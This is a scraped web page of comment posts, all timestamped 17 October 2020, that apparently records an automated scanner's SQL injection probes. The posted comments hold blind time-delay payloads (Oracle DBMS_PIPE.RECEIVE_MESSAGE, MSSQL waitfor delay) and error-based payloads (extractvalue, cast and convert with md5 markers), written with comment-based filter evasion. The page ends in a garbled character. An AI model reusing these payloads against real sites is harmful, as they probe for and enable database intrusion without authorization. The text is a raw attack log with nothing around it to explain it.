发表于 2020-10-17 20:04
12345678/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('h',0)
12345678
发表于 2020-10-17 20:04
12345678/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('g',2)
12345678
发表于 2020-10-17 20:04
12345678'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('i',0)='i
12345678
发表于 2020-10-17 20:04
12345678'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('r',2)='r
12345678
发表于 2020-10-17 20:04
-12345678;waitfor/**/delay'0:0:0'/**/--/**/
12345678
发表于 2020-10-17 20:04
-12345678;waitfor/**/delay'0:0:2'/**/--/**/
12345678
发表于 2020-10-17 20:04
-12345678);waitfor/**/delay'0:0:0'/**/--/**/
12345678
发表于 2020-10-17 20:04
-12345678);waitfor/**/delay'0:0:2'/**/--/**/
12345678
发表于 2020-10-17 20:04
o';waitfor/**/delay'0:0:0'/**/--/**/
12345678
发表于 2020-10-17 20:04
t';waitfor/**/delay'0:0:2'/**/--/**/
12345678
发表于 2020-10-17 20:04
t');waitfor/**/delay'0:0:0'/**/--/**/
12345678
发表于 2020-10-17 20:04
m');waitfor/**/delay'0:0:2'/**/--/**/
12345678
发表于 2020-10-17 20:04
12345678
12345678'and/**/extractvalue(1,concat(char(126),md5(1436646028)))and'
发表于 2020-10-17 20:04
12345678
12345678"and/**/extractvalue(1,concat(char(126),md5(1347177662)))and"
发表于 2020-10-17 20:04
12345678
extractvalue(1,concat(char(126),md5(1605350879)))
发表于 2020-10-17 20:04
12345678
12345678'and(select'1'from/**/cast(md5(1133113391)as/**/int))>'0
发表于 2020-10-17 20:04
12345678
12345678/**/and/**/cast(md5('1983886589')as/**/int)>0
发表于 2020-10-17 20:04
12345678
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1091999270')))
发表于 2020-10-17 20:04
12345678
12345678'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1252872454')))>'0
发表于 2020-10-17 20:04
12345678
12345678閹